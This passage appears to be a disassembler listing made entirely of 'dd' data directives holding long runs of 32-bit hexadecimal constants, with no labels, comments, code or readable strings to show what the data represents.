		dd 0CF0102D5h, 76BD14B9h, 33F72920h, 0EB0CB41Bh, 7DC875A0h
		dd 3813E3F8h, 44000A53h, 53263CBh, 3A719D33h, 98699102h
		dd 7B8B5503h, 1586AD5h,	79555DB0h, 0B0F831E0h, 0A37C4A54h
		dd 0C1503F2Eh, 1548B440h, 57C1BDDAh, 79253B10h,	4B23D304h
		dd 27F917h, 2C2E7E56h, 18EFD15Fh, 0D3E46FE9h, 38142D5Dh
		dd 2FD2444Bh, 773D8995h, 584A5E9Ch, 0BAD261E3h,	0EFA472B2h
		dd 94CC19BDh, 0A97B6887h, 0E4501EA9h, 1B4B4E3Ch, 8D1979B2h
		dd 3BC2FB51h, 0D5B293D7h, 0B2D9687Ah, 0FC8E4F43h, 2D6348A1h
		dd 0F0E213DCh, 0E2C062h, 0F6C2FE06h, 0F0EA80D2h, 317E0EDDh
		dd 0E6E91492h, 0A87EE525h, 6E62B939h, 0A256F425h, 9D694E25h
		dd 0F5A71565h, 35CB6A98h, 7AFF86A9h, 7FBC4E16h,	29FF701h
		dd 6B011A80h, 7C9A88F9h, 84867F5h, 0BB263D71h, 428BA41Dh
		dd 9A89756Ch, 0AC0AF405h, 46F7C45Ch, 0F106FE9h,	79BB034Eh
		dd 1F71FE6Dh, 526408CAh, 0A060F6Bh, 18024B8Bh, 109E5AFh
		dd 1C58308h, 68FA9240h,	0B58F5B28h, 0E9A73B25h,	5FBD1260h
		dd 24BDB1Ch, 8713A6F3h,	8771AF5h, 840167C2h, 6F4B9CE9h
		dd 499ED0B8h, 3EF16CD7h, 0FBB35C42h, 8094A7F1h,	0C293B8C9h
		dd 51467985h, 68F72457h, 0B3582E2Dh, 5E4A74B0h,	93FCA3ADh
		dd 6809F8E7h, 6BC60CE8h, 0C53D5C0Fh, 3965A537h,	7FD0D3D9h
		dd 0D03A48EAh, 0F6644A4Ch, 0A05805Fh, 764FF134h, 0C54C31FFh
		dd 7322D15h, 199B3277h,	0D0E07FB5h, 905CB55Bh, 2C1C44E9h
		dd 6FF22D4Fh, 9466D20Bh, 96685501h, 5D58BB6Dh, 804EECFCh
		dd 717EDC0h, 4617C580h,	0EBFB0BFBh, 6BDF4B2Bh, 60AFA4DDh
		dd 0A57C1D9Eh, 9AE97809h, 0C1CA1BA3h, 0F2287497h, 68E6C29Eh
		dd 8B984138h, 8167ABE9h
		dd 5591BA10h, 96281B27h, 0A2451606h, 0CEC20C0Ch, 62C17952h
		dd 9E445745h, 4E33D505h, 42B88976h, 490B6F48h, 427D259Bh
		dd 5D08041Fh, 0A64004FCh, 174C00DFh, 28FB356Dh,	0DD9540F8h
		dd 3CD2E491h, 0CCAA4F2Ch, 0F9E3031Ch, 9E853BBFh, 0FE2C33EBh
		dd 0C27411E1h, 0E27E7B75h, 0A05F65E9h, 220C82A7h, 6D4F484Ch
		dd 0DDF38301h, 38FE01B3h, 4AE8137Ah, 6458CFE2h,	7B42E14Ah
		dd 0DB14FA8h, 2BDD7B0Eh, 6FA63498h, 0E67212BCh,	3AF92124h
		dd 2E0783Fh, 87336190h,	0BCB99F73h, 91181914h, 0EBCB7198h
		dd 6C2D1A13h, 64992409h, 0FBB35CBFh, 1B38337Bh,	8CB18042h
		dd 2E05E5C0h, 510B2B8Ah, 90FD7CB5h, 15535864h, 12228868h
		dd 2A0C914Bh, 92907F42h, 147E357Ah, 705C829h, 51525902h
		dd 855B0F68h, 256D6201h, 3C68570Ch, 0F0E95F04h,	1AB5EAE2h
		dd 162AE7E1h, 2ACE9D0h,	6A04B1C6h, 97CB5D69h, 66A01709h
		dd 2895E65h, 0FB3CFE97h, 0F45ECC84h, 0C59E1713h, 8027B401h
		dd 0B52F0CEBh, 9358D54Ch, 25537722h, 82E2B3BFh,	0A245F9E9h
		dd 0F746F5B4h, 0E65051E8h, 0E18F5B97h, 2B7F7168h, 0C302BD2Dh
		dd 0BBD498DBh, 0BE5725F7h, 1809C9D8h, 83349935h, 0C95A9C20h
		dd 0FD20C160h, 66D92DE9h, 18D7D3ABh, 9E90F51Ch,	6E236288h
		dd 0E1E809F1h, 7DD7738Bh, 1E55D66Ah, 85F59D3Dh,	8320C418h
		dd 3D94ABF1h, 0F390DA12h, 18184CB3h, 0E223C7B9h, 7C7D739Bh
		dd 75BE0051h, 0E9385A0Eh, 9899402Fh, 3D70B601h,	31702515h
		dd 352302AFh, 2B90262Eh, 4839741h, 7D7891AAh, 0FE5CA442h
		dd 0F334290Bh, 0BC6D8921h, 49FB7975h, 0C909717Dh, 679C190h
		dd 20693DB4h, 6E62D807h, 428F122Ch, 0E5CBFB30h,	0F177C003h
		dd 0DFD35756h, 5B0BC1E4h, 36D5604Eh, 42DE6A02h,	0D5713DE9h
		dd 2AD671BAh, 3454757Ah, 0DB797F5Ah, 5263B8A5h,	807520E9h
		dd 7DFE584Bh, 64AA2AB1h, 24F9BBD0h, 2A7E5C3Ch, 81744D73h
		dd 5B3212ACh, 17F43AC4h, 5FF801BBh, 306EC84Bh, 9FB65C2Ah
		dd 96BD1A43h, 5A2F0F0Ch, 0EA4BEC6Ch, 13386702h,	3F50F30Bh
		dd 2841DAAh, 489B2DC8h,	7BDE14E6h, 0E802F46Ah, 414A926Ch
		dd 0D89EC44h, 0B07FCF01h, 0B4505CBEh, 4FF4CB12h, 760063A6h
		dd 0F28164FAh, 4B8BE857h, 25C5C040h, 0DB588EEDh, 35E90B57h
		dd 0CEAC25B1h, 0AF2D4C84h, 57C052Ah, 0C413FCAEh, 6800C9FEh
		dd 6B460A9h, 5F979FACh,	0E3F67A8Bh, 0AF13E5E8h,	0F129E944h
		dd 86A2480h, 1320FB14h,	1640774Bh, 0E0C1E967h, 175DB0E1h
		dd 39803D02h, 6C3BFEDEh, 0B0106E28h, 3058357Bh,	0BF52EFC0h
		dd 83B5D7B2h, 0E3A0D2Ah, 59669728h, 8F8F4AC2h, 37FFE5B0h
		dd 4BD2B4E9h, 96D41F56h, 77BF0709h, 238C30FBh, 9C4F564Bh
		dd 4DD5097Ch, 590539F1h, 0B7C0CF87h, 9F475E1h, 13E368A3h
		dd 225D639Ah, 0C868C3Eh, 531702C4h, 2F0067EDh, 5FE4C8EBh
		dd 4056BDF4h, 5F03189h,	9CBBC675h, 4A7BDE98h, 34274175h
		dd 8ECAD919h, 0D00EB32Ch, 6A5C2FFDh, 54D0C4CBh,	4A68A766h
		dd 822337AEh, 30E6023Fh, 995B15B0h, 0AD3B6BCDh,	2026CBEEh
		dd 0DF1BBF26h, 0C4DD5BCFh, 0A594818Dh, 0C114E822h, 3507E800h
		dd 0DBE5B58h, 26A10725h, 0B04851C6h, 55AC3BA6h,	0EED22D05h
		dd 0BAED4E6h, 4AA5165Ch, 0A894AEBDh, 93C25FAh, 14FD8855h
		dd 98D49AE3h, 152E3FFBh, 9D7BA44Ch, 0BBA09DD4h,	0AB16E30Ch
		dd 17E10C28h, 0BE334F11h, 908B950h, 0E064E957h,	5B596890h
		dd 6E003065h, 5B388877h, 0E798CE49h, 7A651B20h,	40DAF230h
		dd 225C22C0h, 812B8D01h, 6849F7E6h, 2EEED360h, 4C459F3h
		dd 0F38E14E9h, 0A2684DF0h, 0E469C466h, 0D8AC8136h, 4B21E59h
		dd 3F49CBF8h, 22EB93CFh, 0E768A07Ah, 0BBEECA29h, 0A9F4505Ah
		dd 9661271Dh, 68784883h, 0DF3155B8h, 4F20E916h,	0F68089A2h
		dd 2BB86C3Fh, 0E95DC0B7h, 0E2434E67h, 0EC300F16h, 0B1566459h
		dd 0F878EF13h, 75AD30E9h, 1C1E250Ah, 0D1214B09h, 858955E0h
		dd 3AE39B03h, 0F3D00EC2h, 8D4AAEE4h, 7D0A8A92h,	8DEC9A09h
		dd 47E8A7BFh, 649F6699h, 0BA217540h, 5242E282h,	6454147Ah
		dd 0C602821Ah, 6A802403h, 25A5D281h, 9C072011h,	5477C2FDh
		dd 0A2F27A71h, 0DEC2AB22h, 90A21216h, 11A3F6DFh, 9844173Dh
		dd 0B92675B4h, 2353267Ah, 67841CA1h, 9AE93DF9h,	0CB83857Dh
		dd 602E2DA4h, 0DCE1C554h, 187B3549h, 17853E30h,	2F24E0EBh
		dd 28744B99h, 5D50DF89h, 6745F230h, 84A054E0h, 0D33B74E4h
		dd 91CD0479h, 1F9E27h, 738F5CF8h, 0D663E4E9h, 0D918CB5Dh
		dd 0E84012B3h, 0E36376DEh, 6DE97C3Ch, 5F9B05F9h, 0EBE5EFFh
		dd 0B8B3807Fh, 0E33DC4D0h, 30D7E117h, 45172D2Dh, 26017C10h
		dd 23C57582h, 18B1BD30h, 0C411C07h, 0BEFAB2CEh,	61FD292Ch
		dd 28E94DC0h, 595A8033h, 58BD7A92h, 0AE0CC0C6h,	29653C72h
		dd 142A25B0h, 0CC13D390h, 140CB441h, 3EEE36CEh,	0AD48996Ah
		dd 535EB83Bh, 0EFC3BB17h, 898FE15Fh, 4EEBB8Ch, 2C130934h
		dd 0C2E03E8Eh, 74C4184Bh, 0A82A0E46h, 71CE9B24h, 298E4D17h
		dd 27AE810h, 0EAB6A268h, 8E00FFCDh, 297F35EDh, 3C53E91Bh
		dd 236CC03Ch, 612B7A63h, 0CC68C52Ah, 794B977Fh,	965E4282h
		dd 9C98FECEh, 0DA3B3844h, 0FA866F92h, 317924A2h, 0E253ACC8h
		dd 0DA622E50h, 8267FC02h, 0C5E9A9B0h, 0EB80E268h, 0D9883A1Eh
		dd 0E5A1FA92h, 2F28F26Fh, 0E6646214h, 99229881h, 8E0508BEh
		dd 19E58004h, 324FB8AFh, 0C14F0601h, 56D1E9F4h,	54F5978Bh
		dd 266F5D54h, 2FFB27C8h, 57325B07h, 37E1D9C3h, 0D3B23930h
		dd 4009B6BBh, 674A8127h, 32363431h, 3B18DA2Dh, 72E24942h
		dd 0F1A5217h, 2770CF01h, 807B020Ah, 0E9FA294Eh,	58B6C35Dh
		dd 4974C92h, 38C56EB3h,	9184AAh, 7716E2FEh, 0E5EE4D47h
		dd 6C286EF8h, 0AC0FDA36h, 8074A540h, 8FC26BF5h,	0B7895FE0h
		dd 0DAE91E45h, 9F395AEDh, 7F5FBEE1h, 680AEDB7h,	80690A33h
		dd 4D0221BEh, 9AB10153h, 5F3442Fh, 3A5887CBh, 610C375Fh
		dd 0C680A15Ch, 0E822E1F7h, 0BFFC342Bh, 0DCD80EC1h, 5007612Eh
		dd 17FF0478h, 0F26CD85Eh, 0BB985E5Bh, 9C3FEB3Eh, 5C256846h
		dd 0E2C3FE1Dh, 0D57CDF43h, 96F1575Ah, 59C877E9h, 7A4BE6E9h
		dd 2D04A3F2h, 0BCCC2BA6h, 7052864h, 43A97FF1h, 6151E8D6h
		dd 0E07CE907h, 0BCB08680h, 5866C520h, 0FE40A9B8h, 16E45B68h
		dd 81CEE3B2h, 11C52DF4h, 0E22BF871h, 618B2568h,	8E5C5D39h
		dd 97DB92F0h, 0E942C6F3h, 1840DC02h, 46F95459h,	945CB537h
		dd 0CCA2F56Bh, 31D31B02h, 84BA3A44h, 71E8AAC9h,	6A4916E1h
		dd 7858D331h, 9CCA0101h, 1100AA98h, 0E3BB5310h,	0F8FA7D33h
		dd 79B903EAh, 0DA2908E8h, 6F082841h, 62E5AFD9h,	6C27CD10h
		dd 875CD824h, 515E1C04h, 52C58D80h, 0D12627D2h,	0D8EFC075h
		dd 62650B05h, 7719AFh, 3559EEF9h, 0B029723h, 970B7E9h
		dd 150990F4h, 18294FE8h, 97EBE90Dh, 47B89607h, 0D15D7046h
		dd 4C7025E8h, 35331F02h, 82DC0F14h, 2B928C3h, 296B3B68h
		dd 2EC715D1h, 0FBD275FFh, 0C88ACB0Ah, 429527BBh, 35D975A5h
		dd 17D279DAh, 88C88054h, 0EBE653DDh, 5B62DCEAh,	0E51B4B5Ch
		dd 196425E4h, 3AD9CDA1h, 76B98200h, 2516F357h, 0F0D8D187h
		dd 0D2A02624h, 20A65FBEh, 17F2FB50h, 10337Ah, 5D3A8F36h
		dd 9027E961h, 0CB59F969h, 8882F805h, 7FB0038Ch,	31D9D809h
		dd 0DF0B5536h, 822CDD5Ch
		dd 30D2B958h, 0E11C7A4Dh, 6C3071C5h, 52160C29h,	0B05F5E5Ch
		dd 0D4F5493Eh, 8524CD55h, 0A807FF45h, 0FC2F3305h, 0BF81676Ch
		dd 3D4406DCh, 13ADB33Eh, 50A9981Dh, 84196509h, 5E00EEDCh
		dd 32B62D48h, 0A83B5F86h, 129D94AFh, 0DFB33CC8h, 0D58BC4E4h
		dd 0E5E3FBCAh, 99B1F0D8h, 677AE917h, 4244F120h,	0E8106717h
		dd 82A3F06h, 0CE7317B6h, 0B0257E28h, 203EC456h,	72909E43h
		dd 0A34D4530h, 252E7FF5h, 7DD07956h, 26BDE09Fh,	0A8535E11h
		dd 793481FAh, 1E835583h, 0ABA5263h, 5333C6E0h, 5630F204h
		dd 0EC805E5Bh, 5EDD4174h, 622B44Fh, 0C2A6941h, 0D0915A96h
		dd 0E2E92D4Fh, 0ECF40527h, 0A3353ADh, 0CF6DAEECh, 0ED745A65h
		dd 49211075h, 111A8F31h, 60552530h, 7540A534h, 4DBE0968h
		dd 7C8069B0h, 0E372EBF1h, 130C2360h, 483B2829h,	0C9041A41h
		dd 0A8E87F0Bh, 29A04E7Ah, 5A580008h, 494DBD55h,	294E70FBh
		dd 50304322h, 52039F4Fh, 0DF1631ABh, 0A5A259CFh, 7B7968C2h
		dd 6C5830FDh, 0F8B7CECFh, 171983E4h, 9420C7EFh,	5BE5B8CEh
		dd 25EC05C4h, 84D2B25Ah, 5000DD80h, 0C22EEE68h,	21E1615Ah
		dd 51C00F6Ch, 0CB19E9B9h, 0C9810807h, 6C342618h, 99F19A80h
		dd 2FC6301Dh, 0D22650Ch, 2DFA434Ah, 0BDE13B96h,	0A03DBC3Fh
		dd 0C2EABF57h, 4E88E981h, 70C308C9h, 8C5E2840h,	510120AEh
		dd 51B78F68h, 70B38192h, 8149F5E9h, 74B50514h, 8F4248E7h
		dd 5F07852Dh, 1630B3FEh, 83E6FB68h, 861A1309h, 0CB4DB702h
		dd 2F2C490Fh, 90BD4987h, 123DF189h, 0F83A1C69h,	27735D25h
		dd 0B5170148h, 9F71C026h, 8003068Eh, 0B668C0D8h, 0B7C07474h
		dd 0E9ECB252h, 27B39C38h, 80E8E675h, 5A838Ah, 0F7816AF2h
		dd 1B993C1Ch, 609CE924h, 0A93800AFh, 973D386Ah,	7472D676h
		dd 653CC21Ch, 31855D0Ah, 1ABF789Fh, 5E5F205Eh, 0B889422Bh
		dd 0FD171855h, 590E176Dh, 82FBF25Fh, 0F9540F68h, 2609B87Bh
		dd 0FA0052FBh, 35FC74D0h, 0D0D73124h, 5C355B18h, 9CD2D73h
		dd 363000C5h, 5E7910C6h, 0D680B84Ch, 5D4AF949h,	61185407h
		dd 7B2155D3h, 0AEE9AD42h, 3C5651E8h, 10AA5618h,	26136D2Dh
		dd 88EF7AAFh, 21490AF5h, 5AD5019Ch, 0D3F7DD87h,	27108A4h
		dd 407C5865h, 0C66A75h,	0F2E94D43h, 665CBF83h, 9C6BD682h
		dd 0EE72C011h, 79E92D01h, 433810Fh, 0EDCDA79Ch,	80D22AE8h
		dd 0C7C2CF9Eh, 0E3677502h, 53665C87h, 0DB9DBB20h, 381737E9h
		dd 0BA96854Eh, 0B6A284C7h, 87FC572Eh, 4F7B664Bh, 6C04BA2Dh
		dd 0AE927EE9h, 0D2805F29h, 16365892h, 9DCB8102h, 825E9A71h
		dd 50DFE982h, 5753019Ch, 0BF5B4068h, 0D8CB7E35h, 0CCB5B812h
		dd 73B75BF7h, 3376AD4Bh, 1486EC2h, 893AFD68h, 687F0F15h
		dd 8143C888h, 5070F056h, 68095DDFh, 6F2C7E93h, 0B8758105h
		dd 6F5AC6FAh, 3CA63151h, 2B0C4065h, 0BC19EF31h,	9736D12Fh
		dd 152B7D49h, 22F47FEh,	1D68565Bh, 0E26C5130h, 175F348Bh
		dd 7CE5AD28h, 5454FE25h, 0D9CDE91Ah, 8C66F7ABh,	0F952B881h
		dd 50596063h, 0A0B3CB8h, 0F6B1F5Dh, 2DF9DDB4h, 75867007h
		dd 0A2FE5EE9h, 8B297800h, 0CD0AAF84h, 54A8541Bh, 0F990715Fh
		dd 5B2EC5F3h, 0B3E904B4h, 0FE010536h, 9AD588C4h, 4FB091BEh
		dd 78A0ED38h, 18250293h, 61754660h, 0BC058223h,	445F7060h
		dd 0BC6128E3h, 6B5D472Eh, 2B549E0h, 0E91DFA17h,	5B89C27Bh
		dd 0C2775609h, 615C48CFh, 29859833h, 9E6B50Ch, 8C48E711h
		dd 719D676Bh, 0C754277Dh, 8F544872h, 71550339h,	224DE781h
		dd 0B62FCABEh, 42BC75E2h, 10A3C5B7h, 75BB5A87h,	132F0BA9h
		dd 83F430E2h, 0B5F831F0h, 7782940h, 0E928B809h,	5B2255C6h
		dd 0F0095C63h, 0EA759A52h, 6912F23h, 7822750h, 357B3DC0h
		dd 0D6112C27h, 54560296h, 26401CE5h, 52487C6Fh,	2E3029Fh
		dd 8001272Eh, 2B153BF8h, 0DD21151Ch, 3E19D95Bh,	0FA7D7503h
		dd 7C844BF6h, 0C4AAC41Ah, 33BA825Ah, 5C0ADAD2h,	0EDFC1460h
		dd 59845525h, 6C459129h, 0E188012Ch, 50587F36h,	9B58EE25h
		dd 0AA96ED97h, 2FC47618h, 0A36311C6h, 6F47A0F1h, 10FF7A84h
		dd 345F857Ch, 0BF8BFAA2h, 0F55A142Dh, 0CA3FC3B5h, 149D4F9h
		dd 0C768E2D1h, 5F2C3661h, 17FB66FFh, 27749C20h,	5DAFE3E9h
		dd 4B583D67h, 4D723190h, 528F54B9h, 0F788C0B6h,	79EF805Ah
		dd 0A920EFAEh, 0A26E4BEBh, 64CE5031h, 154049Fh,	0BE926FEDh
		dd 0B71778CBh, 0FA939437h, 4F0C4A59h, 0A021E4DCh, 82FDFBB2h
		dd 49A6DC55h, 2A352020h, 0C13905E3h, 3B59D8EEh,	0FDFF2547h
		dd 0C2BCD045h, 61C5BC50h, 0E5C10C65h, 379C6008h, 0D917D12h
		dd 0FFCC3D41h, 0C56F5D23h, 0C19B732Eh, 91A9B2D2h, 725799EAh
		dd 64EB33D5h, 3BB1AD1Ah, 0EF0835E1h, 4C43C3E9h,	6207BBABh
		dd 8769B77Eh, 53D702FBh, 82766055h, 0F4A2B7B5h,	0BD00A61Bh
		dd 174FEC2Bh, 0AEEF316Dh, 2A05C98h, 13FEE12h, 858252FDh
		dd 13FE6CD8h, 0D1EA3893h, 263A6B11h, 450E1612h,	609AFEF2h
		dd 0E2CF51DDh, 0DCC8E7E9h, 1776DBBh, 0D991445Bh, 8D6B662Ch
		dd 0C38A2045h, 20EA5782h, 2902727Dh, 0BC857D4h,	9E5A839h
		dd 0E2F82F3Eh, 2AFE5FE9h, 0A8298E58h, 165A318Fh, 0BE2D331Dh
		dd 5F05EB4Bh, 8D04F529h, 0E410A9h, 1CAC5936h, 21F42BFh
		dd 0C7310EE3h, 86890E9h, 48B75E5Dh, 0CB38765Fh,	97542914h
		dd 464AD483h, 0C7C2CB3Ch, 7725082Ah, 2D4E8F14h,	0BD6B29B1h
		dd 0D0FFD71Ah, 597968E0h, 31C5669Fh, 0C0FD7E11h, 91AA05ABh
		dd 5C6F57Fh, 0A80B1616h, 42B17139h, 400987AFh, 274D52E4h
		dd 0CF80C6Bh, 8602D494h, 577C6004h, 80BD86Ah, 2FA716DFh
		dd 4D44B531h, 0CEBE8BDh, 3EBE8041h, 1464D2Dh, 0AF507372h
		dd 40F9E53Fh, 6903391Bh, 24844848h, 0E840F478h,	0A0506D67h
		dd 1FFB0DC6h, 2D299A17h, 4A627EF1h, 0AC31F567h,	0B8908028h
		dd 4C427359h, 21191C05h, 0BC7CAD55h, 1A0540Fh, 0A559E902h
		dd 7907916Fh, 322324C5h, 47D373FAh, 7D09C6E8h, 2055506Eh
		dd 6C46E5F3h, 0E905132Fh, 0AA37C467h, 2048CE0Eh, 87DD862Dh
		dd 0CE09BD16h, 7326DE7Eh, 8C3E5908h, 0EDED2625h, 0BD907E3Ch
		dd 725B939Eh, 829125BEh, 9AFFA53Bh, 8FA0909Dh, 0A4D4BDB2h
		dd 827E8C0h, 720D040Fh,	0FB1A1703h, 5BE913E0h, 4CA6F968h
		dd 1E663EC0h, 29CC79A1h, 5A999140h, 96759032h, 667B6F25h
		dd 2239E425h, 0F64BB35Dh, 27E36340h, 315B100Eh,	8DD4CEBh
		dd 2F957E4Dh, 13DDE0B5h, 0CF2AC94Bh, 0E3AEB454h, 7892F8Fh
		dd 0A2634681h, 0B51735C1h, 0E619005Dh, 93711123h, 4C9A03F8h
		dd 0AC295B4Bh, 552D8200h, 0F8377440h, 1B9F2512h, 0E93083D0h
		dd 0E681538Ch, 0D07A1843h, 2E0AD664h, 54093ECBh, 16F3017Bh
		dd 3B4FEE43h, 0F96FEBB1h, 2F88C487h, 1FC1F6ECh,	6E4D2047h
		dd 20E926C8h, 0B780465Ch, 6C000E3Ch, 2B47B83Ah,	0B8293BE8h
		dd 5E5AB785h, 0C91DAF27h, 0F1CCD2E7h, 0D3C1F78Fh, 2DF3B33Eh
		dd 0F49109D8h, 65D525E2h, 0E31B1BF0h, 0DCF659D0h, 78F48025h
		dd 6FC4416Fh, 307C6F4h,	58397A44h, 27C1CE01h, 0F2E78159h
		dd 8A146620h, 813EB12Eh, 529172Eh, 0BDD8413Bh, 0BE7D95C1h
		dd 71E9276Eh, 79CE1EC8h, 60854917h, 0E9A270EEh,	489786D9h
		dd 9FEB8195h, 1E8CDF5Eh, 50F82B26h, 5BEA9297h, 0E08E8909h
		dd 11C92084h, 45E302C0h, 0DE8902D4h, 72B2E2F5h,	355C495Bh
		dd 1C82053Bh, 0D001115Dh
		dd 1068A6D9h, 5DC82909h, 25FABEECh, 0E83CB564h,	82CF4386h
		dd 37747593h, 0C9783E58h, 0C8C8C523h, 5A9E39A6h, 9158F5E9h
		dd 51580800h, 0E9ABB050h, 884C9402h, 0DD252631h, 61207814h
		dd 0F2BA1FB8h, 8429248h, 0BB016959h, 218B0F15h,	6491A6Bh
		dd 5AA04680h, 0CBBE7675h, 8007E78Bh, 134E1992h,	8350952Fh
		dd 9D13CB4Bh, 68C3E4EBh, 0D659AD2Dh, 15F7631Dh,	4DA3BA84h
		dd 86555684h, 0FE3BF349h, 0BB18AEC3h, 1FF6EE40h, 15713CBh
		dd 0D3901C6h, 3A683C15h, 51411AC3h, 0E62E0402h,	52511202h
		dd 135B2F0Eh, 970DA6AFh, 0DD414F0Bh, 0EFE90581h, 6077658Dh
		dd 0AC9C9122h, 0AD443112h, 80A26452h, 77685809h, 51A17E48h
		dd 7FB01295h, 976E98Bh,	88D89174h, 203E5F05h, 5258001Ch
		dd 0CAFE9CB2h, 0FDA1DAF6h, 13A07F13h, 3E3A41FDh, 0E6C14530h
		dd 0AF514F08h, 87EA5DD4h, 129F83A6h, 0B2ED8B02h, 0C2EEAA8Bh
		dd 33EAD7EAh, 237ADB86h, 6DFEEF02h, 545A09E3h, 0E4E9E7FCh
		dd 0A06EE862h, 315907EFh, 0BC2729C7h, 49520A3Fh, 0EB146E12h
		dd 282D9E70h, 5F942723h, 5D209CFFh, 0BA03BBF9h,	7E8103D2h
		dd 48AA9C03h, 0F8255B4Dh, 0EA2A012Eh, 96B002Ch,	7E653547h
		dd 0B0B83A61h, 398944C4h, 72DD3007h, 0B0F27BCEh, 46C5F44Bh
		dd 0DF8F7A1h, 8FBA9E70h, 0EFDF2482h, 9D5C8F74h,	970CBF7Eh
		dd 2E683688h, 69E53C02h, 6FCF3911h, 0DEABE817h,	0C655275Dh
		dd 0AAA0B5D5h, 0DF3E90EFh, 5CF50E4Ah, 20BE0806h, 0D0975FD0h
		dd 850BA29Ah, 7AE8232Fh, 4CD7BA02h, 8E400860h, 0B01AEF6Ah
		dd 425A292Fh, 53C2F70Eh, 0FAAFA1C5h, 9DD02D39h,	6885FD5Bh
		dd 3EAC362Bh, 0D45FE9E2h, 0C5E1425h, 4B101DC9h,	0D67896EFh
		dd 696DB048h, 0EE82F02Fh, 35F80D16h, 4DDF7h, 8AD95187h
		dd 5DB5BB69h, 0B5A7A11Ah, 0AF109575h, 0E3D59327h, 40B8B6EEh
		dd 2DB2C988h, 0FA5BDE24h, 0A3BE5D13h, 28BE4A16h, 0CA4AE161h
		dd 0E131C475h, 0D6697269h, 0B80FAF4Fh, 0D92A8457h, 0ACD0B8ECh
		dd 5BEECB4Bh, 47E9F043h, 0AC322523h, 980B64DEh,	9762443Eh
		dd 275F6BD2h, 0E288EE82h, 0A7126013h, 75CB7528h, 4FD8B8EBh
		dd 0F595625h, 113FD12h,	5015FC02h, 0C7E5D811h, 0C79451Ch
		dd 8CCDBAFEh, 265B477Ah, 9D590B8h, 6AAE940h, 0EA0280C6h
		dd 481A157Bh, 256FC701h, 0A26B4C5Eh, 441E253h, 7951C15Fh
		dd 91FC2F57h, 59994B5h,	0BFEA559Bh, 70CEE030h, 0BA674A5Fh
		dd 0BC0F7D4h, 98EE1D17h, 48C620E1h, 5D278F70h, 0EDE65D59h
		dd 73F5681Ch, 1494FF25h, 1CBE5D95h, 0D5E85C4Fh,	136186C4h
		dd 868058E1h, 549D4DF5h, 0D409E181h, 0DF0C5860h, 38B21702h
		dd 2DF4C655h, 0ADFC1257h, 5DAE98E2h, 228C7118h,	412C702Eh
		dd 2808B670h, 5B23C85h,	0EFEB19D2h, 0F5D2C731h,	0A1DDAC79h
		dd 0AF047D80h, 0EAD40F1Ch, 249000E0h, 535D13ECh, 11681655h
		dd 469A36Bh, 5EB91EEFh,	4D2A6AAh, 81A66F7h, 89C69BC1h
		dd 0C3E25C03h, 0C8BF6575h, 6DDD0AA4h, 35C0DAC4h, 8B1628FFh
		dd 1AEB8753h, 0FD8708A0h, 0AC7482FEh, 0B425B061h, 0CAB9446Fh
		dd 0C43AB551h, 0D0F6FF4Eh, 0F412FB4Fh, 0E369098Ah, 14E3184h
		dd 0ACB0EAB1h, 2A8DF87Eh, 6625F6B3h, 6B6AD958h,	0EAE671F0h
		dd 0F280031Ch, 85D12889h, 50FE0BA6h, 4E48BE80h,	0A9569803h
		dd 0EDF95F71h, 63ABA4A7h, 3E14F727h, 19478F2Ch,	26685E40h
		dd 70B19721h, 0A54FF1E9h, 475CF46h, 0CC2B32E9h,	0E02E68DBh
		dd 0E958CD3Dh, 0A8F94ADFh, 0CCFA704h, 9C16956h,	0CA617E7h
		dd 2A6600F7h, 0BC094402h, 0F0081FAEh, 55FEC729h, 151A20Ah
		dd 820DFDFh, 0AB28E09Dh, 4EE8B753h, 0D5FBD3Fh, 120EBB04h
		dd 66100501h, 0C2ED20C9h, 7357646Ah, 3F941506h,	0F802790Ch
		dd 28F597E2h, 0EA87B518h, 72E17168h, 0AB2E8B5Fh, 73BDE245h
		dd 5E13B5A3h, 628E0057h, 0E9321549h, 0DEBDEBE2h, 0F3C0A568h
		dd 0CCBF6582h, 49856F17h, 0BA4714C4h, 147190F2h, 8016B92Eh
		dd 46D14506h, 870C90E9h, 0A152AF08h, 5F08A1C2h,	6CEA68E8h
		dd 36E5048h, 0AB84E40h,	9A509CF4h, 0C82125BAh, 2CF92BE9h
		dd 8D6884B0h, 0BF0430EAh, 84247476h, 0D602A415h, 0E027772Bh
		dd 2F51CD5Ch, 5D5CFC1Bh, 68C7531Dh, 0EE44161h, 7B73B1ABh
		dd 0C4434203h, 8440057Dh, 0B1399503h, 2D469C8Bh, 32BB7Ch
		dd 21BA2EF6h, 26F12976h, 84344DE9h, 8C0B9E68h, 5605B4F0h
		dd 72E915B5h, 1C5969F0h, 2FDDF380h, 0E20F2DDCh,	0D0EA2749h
		dd 305A420Eh, 0AF16FDC3h, 8EE5887Ch, 0E9505134h, 0ECB74D0h
		dd 0FA16232Fh, 4CE354DCh, 282D398h, 1578D8F7h, 0C2E1E00Fh
		dd 295B0431h, 0EA313AC7h, 0D42F75E9h, 0BA559467h, 0E9C2C5B6h
		dd 295EBAA7h, 0C195D86h, 73920935h, 5FF6A15h, 811EE08h
		dd 1CBACA6Ah, 26D77425h, 9EF572A5h, 33A32033h, 392D8790h
		dd 65BB7C83h, 0B557BBBAh, 1E0155E0h, 0AA7D68D8h, 0CD34208Dh
		dd 0F4E28928h, 1118AC0Ah, 1108242h, 0B7C3EE4Bh,	0BA6FD768h
		dd 18C0DF14h, 69B530E6h, 0D23DB97Ah, 9CD2917h, 0C1C9545Bh
		dd 0C8FD2E02h, 82DFD227h, 1EDB39h, 5DE80159h, 552D9AC3h
		dd 0E9929F6Fh, 1135431h, 76718468h, 11C06B61h, 0FFE870B0h
		dd 0E77DF43Fh, 1FF07917h, 8DF243AFh, 0EBA5FAFCh, 4CE923C0h
		dd 0EACEA98Ch, 3813F83Eh, 0D401B258h, 0DF22F506h, 410BCC53h
		dd 0C43EA447h, 0A9DFBF66h, 18753027h, 5BEB68CCh, 0B7BD2145h
		dd 10BD2C99h, 11272E3h,	0F4E416F1h, 91FC5E41h, 0BF6E80F5h
		dd 6E1E6C40h, 7DEF0381h, 0C13C5636h, 0ACB990B5h, 0FC14C37Eh
		dd 5FD1FD31h, 0B9FA5F84h, 984A86D2h, 57E501CBh,	92151BBFh
		dd 8C45300Bh, 0E9E3813h, 100BE685h, 4E1487EBh, 0F0C1E294h
		dd 353E2766h, 0EA00408Dh, 8E2C001h, 1A1C0690h, 88895350h
		dd 4D5485D4h, 922B298Dh, 84ABDF5h, 0E34122D7h, 5356001Dh
		dd 2F1FA068h, 0BF122303h, 0ED0261E9h, 83E07215h, 0F28DD687h
		dd 54E9273Dh, 0FA0844C2h, 76A3DE82h, 80CC73D9h,	0B151BB8Dh
